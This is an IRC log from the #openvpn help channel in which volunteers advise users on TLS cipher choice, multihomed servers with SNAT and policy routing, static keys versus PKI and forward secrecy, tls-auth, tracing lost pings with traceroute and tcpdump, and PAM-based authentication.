12:43 <+pekster> That's just what OpenSSL supports
12:44 < calcifea> so exist a openvpn list somewhere?
12:44 <+pekster> And you can't blindly change the TLS mode of operation without understanding what you're doing
12:44 <+pekster> Stick to the ones starting with TLS-DHE-RSA
12:45 <+pekster> See the TLS 1.0 and 1.2 ciphers here: 4b67f98
12:45 <+pekster> Erm
12:45 <+pekster> Here: https://www.openssl.org/docs/apps/ciphers.html
12:45 <@vpnHelper> Title: OpenSSL: Documents, ciphers(1) (at www.openssl.org)
12:45 < calcifea> by default i get DHE-RSA-AES256-SHA
12:45 < calcifea> i don't know if its cbc or gcm
12:45 < calcifea> (i saw that on log)
12:46 <+pekster> Use IANA names
12:46 <+pekster> Unless you're using an old build that doesn't do that (if --show-tls gives you IANA names, you should use them; the openssl names are now deprecated)
12:46 < calcifea> if use your prefix probably i still have to chose: TLS-DHE-RSA-WITH-AES-256-GCM-SHA384 or TLS-DHE-RSA-WITH-AES-256-CBC-SHA256
12:47 <+pekster> You can't use the first without that commit I noted
12:47 < calcifea> ok
12:47 < calcifea> so the second one
12:47 <+pekster> It's not supported in 2.3.2 as that version strictly uses TLSv1.0
12:47 < calcifea> because the default probably usa sha1
12:47 < calcifea> right?
12:47 <+pekster> Erm, sorry, the 2nd is TLSv1.2 as well
12:48 < calcifea> i need to convert that IANA name :(
12:48 <+pekster> No, you *CANNOT* use either of those with openvpn 2.3.2
12:48 < calcifea> wow
12:48 <+pekster> Use git-master or at least back-patch that commit and rebuild from sources
12:49 < calcifea> ok, so for that version the default tls-cipher is ok
12:49 <+pekster> calcifea: Read this: http://permalink.gmane.org/gmane.network.openvpn.user/34493
12:49 <@vpnHelper> Title: Can't connect using tls-cipher TLS-SRP-SHA-DSS-WITH-AES-256-CBC-SHA (at permalink.gmane.org)
12:49 <+pekster> Another user who had the same problem as you and just willy-nilly changed the TLS cipher and got into trouble
12:49 <+pekster> I have quite a good write-up on what the issue is there
12:50 < calcifea> yeah but i can use TLS-DHE-RSA* stuff, but actually with stat prefix the default is ok!!
12:51 < calcifea> so it's over, i stick with 2.3.2
12:53 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Remote host closed the connection]
12:53 -!- TheCaptain2000 [~quassel@226.87.21.95.dynamic.jazztel.es] has quit [Ping timeout: 260 seconds]
12:58 -!- xpl0iter [~obscurant@1.23.214.77] has joined #openvpn
12:59 -!- xpl0iter [~obscurant@1.23.214.77] has left #openvpn []
13:03 -!- mndo [~mndo@bl16-32-128.dsl.telepac.pt] has quit [Read error: Operation timed out]
13:13 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
13:16 < heraclitus> what special configuration must be done with iptables to have openvpn work with an interface that listens on more than one IP address?
13:17 <+pekster> Nothing when your routing is configured properly
13:17 <+pekster> If not, check out LARTC on multiple uplinks and policy routing
13:17 <+pekster> !lartc
13:17 <@vpnHelper> "lartc" is LARTC is the de-facto guide to policy routing and QoS (tc, or traffic control) on Linux. http://lartc.org/howto/ . Policy routing in Ch. 4, QoS in Ch. 9. Start at the beginning if you're new to advanced routing on Linux
13:19 < heraclitus> https://pastee.org/55psh << this is my current route
13:21 <+pekster> 1) stop using `route` under Linux (see !ifconfig_linux for details.) It's deprecated. 2) policy routing requires _multiple_ routing tables
13:21 <+pekster> You showed only 1. Did you read the LARTC references I gave? It doesn't seem so.
13:26 <+pekster> UDP is stateless, so that complicates things a bit for you too (otherwise you could rely on the TCP binding to possibly help.) You'll probably need to ctmark packets that arrive on new connections, then clone the ctmark to nfmark so you can make a policy routing decision on that
13:26 <+pekster> #netfilter is probably more on topic if conntrack marks and netfilter marks are new concepts to you
13:31 -!- kplong [~kplong@c-76-22-41-14.hsd1.wa.comcast.net] has quit [Quit: Leaving]
13:33 <@krzee> !factoids search route
13:33 <@vpnHelper> 'winroute', 'iroute', 'router', 'dlink_static_route', 'external_routes', 'route_override', 'splitroute', 'route_outside_openvpn', 'route_outside_ovpn', 'routebyapp', 'route', 'ppp_defaultroute', and 'route-nopull'
13:34 <@krzee> hmm i think ill make a multihome wiki writeup
13:34 <@krzee> !factoids search multi
13:34 <@vpnHelper> 'multi_process_incoming_tun' and 'multiple_ca'
13:34 <@krzee> !multi_process_incoming_tun
13:34 <@vpnHelper> "multi_process_incoming_tun" is http://blog.tuinslak.org/2010/03/openvpn-packet-drops/
13:36 < heraclitus> sorry this is all fairly new to me, krzee, and the openvpn manual is a bit misleading, stating that 'If host is a DNS name which resolves to multiple IP addresses, one will be randomly chosen, providing a sort of basic load-balancing and failover capability.' I assumed this to mean it was sort of 'automatic'. Seems not to be the case
13:36 <+pekster> Well, the big issue with UDP multihoming (even if the route is the same) is that the packet source is selected before you have access to conntrack
13:36 <+pekster> That might actually require SNAT trickery now that I think about it :\
13:36 <@krzee> heraclitus, that is for having multiple servers
13:37 <@krzee> you are talking about 1 server on multiple IPs
13:37 < heraclitus> correct.
13:37 <+pekster> Since >1 IP on teh same interface has the same route between the 2 inerfaces, but an invalid source IP will be dropped by the remote host as the result of `ip route get $remote_host` is used
13:37 <@krzee> different subjects.
13:37 <+pekster> So the real problem is SNAT to the IP the initial connection came in on, also solved with ctmark (no need for policy routing there, just clever SNAT and ctmark)
13:38 < heraclitus> okay, well I wasn't aware of that. so right now I'm using masquerade for my iptables, should I reconfigure for SNAT?
13:38 <+pekster> Same difference
13:38 <+pekster> You need to be aware of what the source is
13:38 <+pekster> Right now you're letting the kernel decide for you, and it won't work when using the secondary IP
13:40 <+pekster> oh, krzee had a good point about --multihome in #netfilter, though if it really binds to the /interface/ that's still a problem with >1 IP per interface
13:40 <+pekster> Dunno if that was a manpage typo or if that won't do what you need (thus SNAT would still be required.) "Try It And See"
13:41 <@krzee> he needs to SNAT?
13:41 <@krzee> i do multihome without that
13:41 <+pekster> Yea, look at the netfilter flow
13:41 <+pekster> With >1 IP on any given interface?
13:41 <@krzee> oh 1 interface?
13:41 <@krzee> i see
13:41 <+pekster> Right...
13:42 <+pekster> policy routing can pick the source, but it can't have access to the ctmark when the UDP packet src IP is selected
13:42 <+pekster> The only way to change that is SNAT AFAIK
13:42 < heraclitus> https://pastee.org/rk7a here's what it looks like eth0:0 and eth0:2 are the IPs in question
13:42 <+pekster> heraclitus: There is no eth0:0. Stop using deprecated, outdated tools
13:42 < heraclitus> I am not terribly familiar with SNAT :/
13:42 <+pekster> !ifconfig_linux
13:42 <@vpnHelper> "ifconfig_linux" is Avoid use of 'ifconfig' and 'route' commands on modern Linux distros. It's old, deprecated, and often misleading/wrong. Use the 'ip a' and 'ip r' commands instead. More info: http://inai.de/2008/0219-ifconfig-sucks.php
13:42 <+pekster> Time to join the last decade :)
13:42 < heraclitus> sorry
13:42 < heraclitus> :(
13:44 -!- smue [smue@nostromo.smue.info] has quit [Ping timeout: 260 seconds]
13:45 <@ecrist> ifconfig doesn't suck, at least on freebsd
13:45 < heraclitus> I'm on centos, so it holds true for me. lol
13:47 -!- smue [smue@nostromo.smue.info] has joined #openvpn
13:49 < heraclitus> http://conntrack-tools.netfilter.org/ I can find libnetfilter_conntrack in my repos, but not conntrack-tools, any idea where this is hidden? so I can have the command line tool conntrack?
13:49 <@vpnHelper> Title: conntrack-tools: Netfilter's connection tracking userspace tools (at conntrack-tools.netfilter.org)
13:49 < heraclitus> is it only available from source?
13:49 <+pekster> No, it doesn't
13:49 <+pekster> ip is on centos
13:50 <+pekster> an "alias" is a 2.4 kernel ioctl method of dealing with >1 IP per interface. If you're on a 2.6 or better kernel, or a 2.4 kernel after they introduced that feature, you need to be using iproute2
13:50 <+pekster> Please stop using decade-old trash
13:51 <+pekster> You don't need conntrack tools either; the conntrack match and CONNTRACK target exist for 2.6 kernels too
13:51 <+pekster> I know becuase I've used them in CentOS personally
13:52 <+pekster> Your issue is that the primary IP (line 4 in your interface/route output) will be selected for any matching route, such as the route on line 14
13:52 <+pekster> You can't change this in policy routing becuase you'd need to tie the ctmark (conntrack mark) to the packet in order to assiciate the VPN session (which UDP knows nothing about) to the interface the client connected on
13:53 <+pekster> Why are you putting multiple IPs like that on 1 interface anyway?
13:53 <+pekster> Looks to me like there's a better way to do whatever your trying to do here
13:53 -!- JackWinter [~jack@vodsl-9510.vo.lu] has quit [Quit: Konversation terminated!]
13:56 <+pekster> If you've got some multiple uplink situation, you would have access to the ctmark in forward-path packets, so you could put a router that holds your public IPs and acts as a form of a "state-aware load-balancer" for your several public IPs
13:56 <+pekster> Then NAT them into the real VPN server (which could also use a public IP, but wouldn't have to) and then you can keep the stateful association including the source address
13:56 <+pekster> That's what I would do anyway
13:56 < heraclitus> It's a remote dedicated server, a router isn't an option.
13:56 <+pekster> The other option is SNAT hacking (right, in place of your masquerade)
13:57 < heraclitus> I do however, have a second NIC on the machine I could use.
13:57 <+pekster> Or just only accept connections to the primary IP on the interface; that solves your problem completely without any further work
13:57 <@krzee> now that i see they have the same uplink i do not understand what problem you are really solving
13:58 < heraclitus> I want more than one outbound facing IP when I connect. Try to help mitigate an issue I have with session limit on an IRC server I use.
13:58 <+pekster> Um...
13:59 <@krzee> pekster, interesting idea for a poor mans state-aware load balancer
13:59 <+pekster> Stop pounding in screws with a hammer
13:59 <+pekster> krzee: Not really 'poor man's' really -- it's how most load balancers work anyway, just without any extra geo-IP/load/bandwidth decisions to make
13:59 -!- smue [smue@nostromo.smue.info] has quit [Ping timeout: 260 seconds]
13:59 <+pekster> So, "uncomplicated load-balcner" is a better way to look at it. Generally you use anycast or NAT as the effective tool on a load-balacner
13:59 <+pekster> At least to "actually deliver" the packets
14:00 -!- JackWinter [~jack@vodsl-9510.vo.lu] has joined #openvpn
14:00 <+pekster> For all it matters, call random() to decide where it goes ;)
14:00 <@krzee> Want to hear a SYN FLOOD joke? Want to hear a SYN FLOOD joke? Want to hear a SYN FLOOD joke? Want to hear a SYN FLOOD joke? Want to hear a SYN FLOOD joke? Want to hear a SYN FLOOD joke?
14:00 -!- smue [smue@nostromo.smue.info] has joined #openvpn
14:01 <+pekster> heraclitus: I have no clue what IRC has to do with openvpn. Maybe what you really wanted was to policy route the non-VPN packets, in which case you should _stop_ using multiple IPs with UDP for your openvpn termination point
14:02 <+pekster> At this poitn what you want has nothing to do with openvpn and all to do with connection evading on IRC servers, which has everything to deal with policy routing arbitrary connections across your physical egress
14:03 <+pekster> (I also question your motives for wanting this, but that's your call really. Generally people who need that many connections talk to the IRC admins upfront.)
14:04 < heraclitus> I did talk to the IRC admins, I'm good friends with them. They wouldn't add an exception for session limit, told me to get more IP addresses.
14:04 -!- theneb [~theneb@theneb.co.uk] has quit [Quit: leaving]
14:04 < heraclitus> so, that's what I'm trying to do here.
14:04 <+pekster> Then learn to route properly
14:04 <+pekster> Again, this has zero to do with openvpn
14:05 <+pekster> Do not use openvpn for your client's --remote address/DNS entry other than to your primary IP. There, openvpn problem solved
14:05 <+pekster> If you want to do some --redirect-gateway trickery to NAT to one of your 3 public IPs, go do it
14:05 <+pekster> Policy routing and SNAT on forwarded connections _through_ your router belongs in #netfilter, ##networking, or ##linux
14:06 < heraclitus> okay, thanks. I'm sorry to be a bother, I'm not a routing genius. off to ##networking I go
14:06 <+pekster> (and it's up to you to determine how to apply routing rules to do this.) Your search terms are policy routing, SNAT, and `ip rule`
14:06 <@krzee> so it really ends up belonging back where it started, in #netfilter, but now he'll be wondering how to rotate NAT for outbound connections across multiple IPs
14:06 < heraclitus> ^ yeah, I was thinking that
14:06 <+pekster> Well, yea. Square peg, round hole
14:07 <+pekster> How you split your connections up is completely up to you
14:07 <@krzee> i know of a guy who did that for his vpn service
14:07 <@krzee> so when you use his service your ip changes with each connection
14:07 < heraclitus> ^ that's exactly what I was hoping for, actually.
14:08 <+pekster> I'm sure non-pipelined http just loves that :P
14:08 < heraclitus> use one IP address to connect, have multiple going out
14:08 < heraclitus> hehe, maybe I'm just a bit of a dreamer
14:08 <+pekster> Oh, and much fun with FTP (which is, sadly, still used)
14:08 <+pekster> But, clever idea for much else
14:09 <@krzee> heraclitus, you were asking the wrong questions
14:09 <@krzee> now you know the right question
14:09 < heraclitus> indeed, would ##networking or #netfilter be the place to phrase that question (probably poorly phrased)
14:10 <+pekster> #netfilter is probably more on-topic and lower-traffic (so you'll be seen by more experts)
14:10 <+pekster> Ultimately you need a way to define how you choose which IP to use
14:11 < heraclitus> okay, let me see if I can handle phrasing this question in there. Thanks for your help so far.
14:21 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
14:22 < calcifea> i'm confused.. do i need to use a secret key on tls openvpn?
14:22 < calcifea> in man it's wrote: "Used only for non-TLS static key encryption mode."
14:23 < calcifea> is it a good thing to use?
14:24 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 240 seconds]
14:24 < calcifea> http://pastebin.com/raw.php?i=YC8bZxgB this is my config actually
14:25 -!- speed_racer81 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
14:26 <+pekster> calcifea: see:
14:26 <+pekster> !statickey
14:26 <@vpnHelper> "statickey" is (#1) you can use static keys by using --secret </path/to/key> or (#2) static keys only work for ptp links, not client/server. They also do not provide forward encryption. A forward-secure encryption scheme (such as openvpn uses with certs) protects secret keys from exposure by evolving the keys with time. or (#3) see !forwardsecurity for more info
14:26 <+pekster> It's completely up to you if the convenience/security/fingerprint trade-offs are worth it
14:27 < calcifea> ptp links? what model i have with that config?
14:27 < calcifea> !forwardsecurity
14:27 <@vpnHelper> "forwardsecurity" is (#1) in server/client mode with certs your key renegotiates (changes) every hour (by default), so if someone captures your traffic, and then gets your key, they can only decrypt the traffic within the timeframe since last renegotiation or (#2) in ptp mode (static key) you do not have this, so if someone gets your key they can decrypt ANY past traffic that they
14:27 <@vpnHelper> captured
14:27 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has quit [Quit: leaving]
14:27 < calcifea> what!!!
14:28 < calcifea> omg
14:28 <@dazo> calcifea: you're using server/client mode ... you use --cert, --ca, --key and --dh
14:28 < calcifea> i don't it's a good thing
14:28 < calcifea> it looks really bad
14:28 < calcifea> think
14:28 <+pekster> It's just a different security model. Neither is "good" or "bad"
14:28 <@dazo> client/server mode is not ptp, just in case that was unclear
14:28 < calcifea> but you can decrypt everything
14:28 < calcifea> if you get one key
14:28 < calcifea> i don't see how it can be good
14:28 <@dazo> *if* you get that key, yes
14:29 <+pekster> Right. It has no Perfect Forward Secrecy, but as a benefit it has no protocol fingerprint either
14:29 < calcifea> well.. it looks less secure :D
14:29 <@dazo> security and encryption isn't about making things secret forever
14:29 <@dazo> it's about protecting the data as long as it is valuable to keep secret
14:29 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Ping timeout: 245 seconds]
14:30 <@dazo> if that means, your data is worthless after 2 hours ... then ptp can be just as good as anything else
14:30 -!- smue [smue@nostromo.smue.info] has quit [Ping timeout: 260 seconds]
14:30 <@dazo> if you want your data to be safe for a loooooong time ... then you most likely want a PKI setup (client/server)
14:30 < calcifea> mh
14:30 < calcifea> so i just need to comment that line?
14:30 -!- MacGyver [~MacGyver@sog.polvanaubel.com] has joined #openvpn
14:30 -!- MacGyver [~MacGyver@sog.polvanaubel.com] has quit [Changing host]
14:30 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has joined #openvpn
14:30 < calcifea> tls-auth?
14:31 -!- map [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
14:31 < calcifea> i see that cert are used anyway
14:31 < calcifea> even with it
14:31 <@dazo> tls-auth is an additional security level ... and in udp mode, it can even protect you from DDoS attacks
14:31 -!- map is now known as Guest56722
14:31 < calcifea> but it's what i was saying about
14:31 < calcifea> or we were talking about different things?
14:31 -!- mattock is now known as mattock_afk
14:32 <@dazo> it adds an additional hmac (kind of hash) to all encrypted packets ... so with tls-auth enabled, if this hash (or signature, if you want) doesn't match, OpenVPN ditches it without even trying to decrypt it
14:32 < calcifea> what... ok, so we started to talk about something else :D
14:32 <@dazo> yeah, tls-auth is something completely different
14:33 < calcifea> got it, i'm sorry that it was not clear
14:33 <@dazo> --ca, --cert, --key and --dh ... that's for client/server ... which is based upon PKI
14:33 <@dazo> --secret ... is used in ptp mode, where you have the same static key on both sides of the tunnel, an alternative to PKI
14:34 <@dazo> and --tls-auth is an additional security level you can put on top of either ptp or PKI, iirc
14:34 < calcifea> maybe it's worth on local networks
14:34 -!- smue [smue@nostromo.smue.info] has joined #openvpn
14:36 -!- JackWinter [~jack@vodsl-9510.vo.lu] has quit [Ping timeout: 252 seconds]
14:37 < calcifea> does my config look good for personal use? let my PCs connected even over the net
14:39 -!- dazo is now known as dazo_afk
14:40 <+pekster> --tls-auth is for TLS only; it's an HMAC that protects the TLS layer from dDoS or probing for further TLS weaknesses
14:40 -!- JackWinter [~jack@vodsl-9510.vo.lu] has joined #openvpn
14:40 < calcifea> yes, i will leave it
14:40 <+pekster> And, fwiw, you can use TLS with `--mode p2p` . That is to say that --static requires --mode p2p, but --mode p2p does not necessarily mean --static
14:42 < calcifea> i see
14:42 < calcifea> probably it's nice right now
15:23 -!- Denial [Denial@2.223.161.125] has quit []
15:27 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 260 seconds]
15:28 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
15:38 -!- SupaYoshi [~supayoshi@ip4da5d319.direct-adsl.nl] has joined #openvpn
15:40 < SupaYoshi> Hi
15:40 < SupaYoshi> Im still having issues i followed the serverlan
15:40 < SupaYoshi> http://pekster.sdf.org/misc/serverlan.png
15:40 < SupaYoshi> Everything works, except one thing.
15:40 < SupaYoshi> I cannot ping another machine in the lan.
15:41 < SupaYoshi> I have added a route in my router
15:41 < SupaYoshi> and i can ping my router on its ip from the openvpn client
15:41 < SupaYoshi> i can also pIng the openvpn client from the machines on my lan.
15:41 < SupaYoshi> BUt I cannot ping from my openvpn client to my lan pc.
15:42 < SupaYoshi> so something is going wrong, i added a route in the server.conf but that made my server be unreachable.
15:42 <+pekster> Can you ping the router IP on the LAN?
15:42 <+pekster> (from the VPN client)
15:42 < SupaYoshi> Yes
15:42 < SupaYoshi> Yes i can ping the router IP on the lan from the vpn client :)
15:42 <+pekster> Sounds like a firewall issue on either your LAN PC or the router handling the forwarded traffic
15:42 < SupaYoshi> I see..
15:42 <+pekster> (the LAN router)
15:42 <+pekster> Traceroute from both ends should identify the issue
15:42 < SupaYoshi> Well its not a firewall issue on the PC, because i tried different devices even a SIPURA SPA
15:43 < SupaYoshi> and even that cant be pinged
15:43 < SupaYoshi> Hold on, i will give ya that.
15:43 <+pekster> The PC firewall can be configured to accept only LAN pings
15:43 <+pekster> Again, traceroute and packet captures are how you identify this
15:43 < SupaYoshi> I see!
15:43 <+pekster> tcpdump on *nix and wireshark (tshark.exe works just like tcpdump) for Windows
15:43 < SupaYoshi> Can you give me the packet captures?
15:43 < SupaYoshi> *the packet capture command
15:44 < SupaYoshi> wait ill just show ya the traceroute and let ya see where it goes wrong already
15:44 <+pekster> Try some variation of `tcpdump -pni interfaceGoesHere icmp` to capture all icmp traffic
15:44 <+pekster> !tcpdump
15:44 <@vpnHelper> "tcpdump" is (#1) tcpdump is a great troubleshooting tool (Wireshark or the tshark.exe CLI tools for Windows.) To start, try a syntax like `tcpdump -pni ifWhatever` or (#2) You can also add filters to the command, like 'icmp' or 'udp port 1194' and the like. Consult the tcpdump docs for details.
15:44 <+pekster> Ah, I thought I added that
15:44 < SupaYoshi> http://paste.ubuntu.com/6412883/
15:45 < SupaYoshi> that is from LAN to vpn client.
15:45 < SupaYoshi> http://paste.ubuntu.com/6412887/
15:45 <+pekster> Your box is 10.15.1.x, where x != 1 and x != 100 ?
15:45 <+pekster> Since that works, you clearly have a fireawll issue then
15:45 < SupaYoshi> This is from the client to my lan pc
15:46 -!- dvl [~dan@pdpc/supporter/active/dvl] has quit [Quit: Terminated with extreme prejudice - dircproxy 1.2.0]
15:46 <+pekster> Yup, firewall on either the VPN server or the LAN PC then
15:46 < SupaYoshi> my vpn box is 10.15.1.100
15:46 <+pekster> tcpdump on the inside interface of the VPN server to verify which one
15:46 < SupaYoshi> wait a second...
15:46 <+pekster> Packets don't get beyond teh VPN server
15:46 < SupaYoshi> no that cant be right?
15:46 < SupaYoshi> I have to open the VPN port on the client side?
15:46 <+pekster> Thus there's a firewall between there and the lan PC client
15:46 -!- dvl [~dan@nyi.unixathome.org] has joined #openvpn
15:46 -!- dvl [~dan@nyi.unixathome.org] has quit [Changing host]
15:46 -!- dvl [~dan@pdpc/supporter/active/dvl] has joined #openvpn
15:46 <+pekster> ICMP isn't a "port", no
15:47 < SupaYoshi> Ah ok so firewall on my router then?
15:47 < SupaYoshi> or the server? :D
15:47 <+pekster> The server _is_ a router
15:47 < SupaYoshi> yeah okay xD i see that. lol
15:47 < SupaYoshi> ><
15:47 <+pekster> And no, your issue is firewall on the VPN server or the LAN PC
15:47 <+pekster> Play the "follow the packet" game now
15:47 < SupaYoshi> okay
15:47 < SupaYoshi> so where do i start? I have wireshark installed on my PC
15:48 < SupaYoshi> not on the vpn server. or the vpn client
15:48 <+pekster> You know it gets to 10.8.0.1, so see if it's being sent _from_ that host _to_ your LAN PC (ie: tcpdump your inside LAN interface for icmp traffic)
15:48 <+pekster> tcpdump each and every hop until you see where it gets lost
15:48 < SupaYoshi> 10.8.0.1 is the VPN server
15:48 <+pekster> But not the inside interface
15:48 <+pekster> That's the IP on the VPN interface
15:48 < SupaYoshi> Yes
15:48 < SupaYoshi> the interface is 10.15.1.100
15:48 < SupaYoshi> but i turned on ip forwarding
15:48 <+pekster> This isn't really the right place to learn basic networking; dump on the *INSIDE* interface on the VPN host, like I've said about 3 time snow
15:49 < SupaYoshi> yeah ok sorry, i understand what ya mean, its just I dont know the command on how to jump on. Im not that good with wireshark.
15:49 <+pekster> No packet means that firewall has dropped it (so fix it.) If you see a packet, repeat the procedure with wireshark/tshark on the LAN PC (Windows, I guess?) If It gets the packet but doesn't send one back, that's the one a fault
15:49 <+pekster> Just follow the packet
15:49 < SupaYoshi> I understand yeah :P
15:50 <+pekster> The comnand I gave you above, and details in !tcpdump above
15:50 <+pekster> You can basically copy/paste it with 1 change; it really isn't that hard
15:50 < SupaYoshi> yeah ik
15:50 < SupaYoshi> tcpdump -pni eth0 icmp
15:50 < SupaYoshi> i just wanted to learn some background information
15:51 <+pekster> On what, tcpdump? `man tcpdump` and enjoy
15:51 < SupaYoshi> ah ok.
15:51 <+pekster> !tcpdump told you that too
15:51 -!- mist_ [~mist@c-74fa70d5.034-4-67626721.cust.bredbandsbolaget.se] has left #openvpn []
15:52 < SupaYoshi> http://paste.ubuntu.com/6412918/
15:52 < SupaYoshi> that is the traceroute, so i assume the packets got delivered
15:52 < SupaYoshi> but got stopped somewhere else?
15:52 <+pekster> Yup
15:52 <+pekster> Your LAN PC is firewalling it
15:52 <+pekster> (no reply comes in)
15:52 < SupaYoshi> i see
15:52 <+pekster> Fix your LAN PC firewall, or possibly the firewall on the LAN gw router for the forwarded traffic
15:52 < SupaYoshi> ok lemme turn off wirewall :3
15:52 <+pekster> You'll see which of those 2 it is by dumping on _that_ host
15:53 < SupaYoshi> I think the second thing.
15:53 < SupaYoshi> okay :D great
15:53 <+pekster> If packets come in but none go out, your LAN PC is busted. If the packet goes out, the LAN gw router is misconfigured
15:53 < SupaYoshi> im gonna fireup wireshark and try to push this command
15:53 <+pekster> Again, just keep "following the packet path"
15:53 < SupaYoshi> sweet!
15:53 <+pekster> That's how you solve _any_ delivery issue you can't pin down
15:53 < SupaYoshi> you see, normally i would ahve turned off firewalls
15:53 < SupaYoshi> ya laerning me something really cool :)
15:54 <+pekster> think of tools like traceroute and tcpdump as your "basic tools on your belt"
15:54 <+pekster> It's wise to learn to use them if you do advanced networking
15:54 < SupaYoshi> <_< that made ma smile :D
15:54 <+pekster> (can't claim you build homes if you don't have a clue how hammers work)
15:54 < SupaYoshi> :P true true
15:55 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
16:07 < SupaYoshi> Okay
16:09 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:10 -!- crus [~crusader@2001:44b8:319e:2900:14fb:7c64:7dba:87bc] has joined #openvpn
16:14 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has quit [Quit: elfixit]
16:21 -!- speed_racer81 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Ping timeout: 252 seconds]
16:23 <@krzee> !script
16:23 <@vpnHelper> "script" is See SCRIPTING AND ENVIRONMENTAL VARIALBES in the manual for a list of places that scripts can hook into openvpn. Online reference at: https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage#lbAR
16:23 -!- xeqution [~z6@unaffiliated/z6] has joined #openvpn
16:27 -!- master_o1_master [~master_of@p4FF24AEE.dip0.t-ipconnect.de] has joined #openvpn
16:29 -!- d1gital-fatquest is now known as d1gital
16:30 -!- master_of_master [~master_of@p4FD7BC98.dip0.t-ipconnect.de] has quit [Ping timeout: 246 seconds]
16:40 < drcode> quit
16:40 -!- drcode [~user1@5.28.134.3] has quit [Quit: leaving]
16:43 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
16:53 -!- Guest56722 [~Mark@94-193-78-219.zone7.bethere.co.uk] has left #openvpn []
16:57 -!- valent_ [~valent@251-222.dsl.iskon.hr] has quit [Ping timeout: 240 seconds]
17:01 -!- FriedZombie_ [SilverNet@77-175-106-86.FTTH.ispfabriek.nl] has joined #openvpn
17:03 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 245 seconds]
17:05 -!- FriedZombie [SilverNet@77-175-106-86.FTTH.ispfabriek.nl] has quit [Ping timeout: 240 seconds]
17:05 -!- FriedZombie_ [SilverNet@77-175-106-86.FTTH.ispfabriek.nl] has quit [Ping timeout: 244 seconds]
17:12 -!- valent_ [~valent@251-222.dsl.iskon.hr] has joined #openvpn
17:13 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
17:17 -!- newbie|4 [SilverNet@77-175-106-86.FTTH.ispfabriek.nl] has joined #openvpn
17:20 -!- ludde [~b@host.62.65.106.155.bitcom.se] has quit [Ping timeout: 252 seconds]
17:25 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
17:32 -!- mndo [~mndo@bl17-107-99.dsl.telepac.pt] has joined #openvpn
17:41 -!- xp99work [~chatzilla@184.71.174.42] has joined #openvpn
17:43 < xp99work> does openvpn support using multiple authentication methods?
17:57 <+pekster> xp99work: At once? You can use both X509 certs and --auth-user-pass at the same time; your auth script (or plugin) can then make a decision based on both methods. See also the --client-cert-not-required option for more flexibility
17:57 <+pekster> (and maybe --tls-verify)
17:58 < xp99work> actually I have 2 different methods for authenticating user name and password
17:58 < xp99work> one is against a local user
17:58 < xp99work> another is against an external server
17:58 < xp99work> wanted to see if I could load in one plugin for one group of usernames
17:58 < xp99work> and then another plugin against another group of usernames
17:58 < xp99work> but I found a way to in the one module to authenticate against both
17:59 < xp99work> depending on what username succeeds using sufficient in the pam configuration file
18:02 <+pekster> If you use the plugin you get whatever behaviour it provides
18:03 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Read error: Connection reset by peer]
18:03 <+pekster> So if you're using the PAM plugin, configure PAM with the intelligence you need. The other way to do that is write a script that does its magic in any way you'd like to configure it (that "script" can be any executable program, so you could just as easily use a C application as you could a shell script)
18:03 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
18:03 <+pekster> PAM is convenient if you can express what you want completely in PAM, but otherwise you might be better off writing some script to handle the nuances of your different backends; pick what makes the most sense based on your setup
18:04 < xp99work> thanks
18:04 <+pekster> I went the script route f.ex when we had 3 environments (production, staging, and special environment for clients.) I ended up using a different RADIUS backend tied to each of the differnet AD servers based on the domain name of the supplied user
18:04 < xp99work> :)
18:06 < xp99work> does pam need password to be configured? it doesn't seem to need it to check if the password is correct
18:07 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
18:08 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
18:08 <+pekster> Each of the modules you're tying into PAM are checked based on your config; presumably the backend you're using needs a defined password to pass a sufficient or required line
18:09 -!- xTz [xtz@DeathStar.Techn0.eu] has quit [Remote host closed the connection]
18:18 -!- smue [smue@nostromo.smue.info] has quit [Ping timeout: 260 seconds]
18:21 -!- smue [smue@nostromo.smue.info] has joined #openvpn
18:21 < xp99work> I mean password as part of auth, account, and session
18:22 <+pekster> There's no account or session; openvpn is simply authenticating the user
18:23 <+pekster> Or at least no session; you can stack on an account if it's bound to one I suppose
18:24 <+pekster> THe notion of a session though is sorta silly; the "session" is openvpn's notion of the client being connected or not
18:26 -!- james41382 [~james@unaffiliated/james41382] has quit [Ping timeout: 264 seconds]
18:31 -!- mndo [~mndo@bl17-107-99.dsl.telepac.pt] has quit [Ping timeout: 245 seconds]
18:35 -!- xTz [xtz@DeathStar.Techn0.eu] has joined #openvpn
18:42 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 245 seconds]
19:00 -!- debbie10t [~ma1com10t@host-92-20-86-80.as13285.net] has joined #openvpn
19:00 -!- mode/#openvpn [+o debbie10t] by ChanServ
19:01 -!- markus_ [~markus@mirkk.vpntunnel.com] has quit [Ping timeout: 245 seconds]
19:02 -!- markus_ [~markus@mirkk.vpntunnel.com] has joined #openvpn
19:05 -!- Poster|x [~poster@cpe-173-88-41-216.columbus.res.rr.com] has joined #openvpn
19:06 -!- SupaYoshi [~supayoshi@ip4da5d319.direct-adsl.nl] has quit []
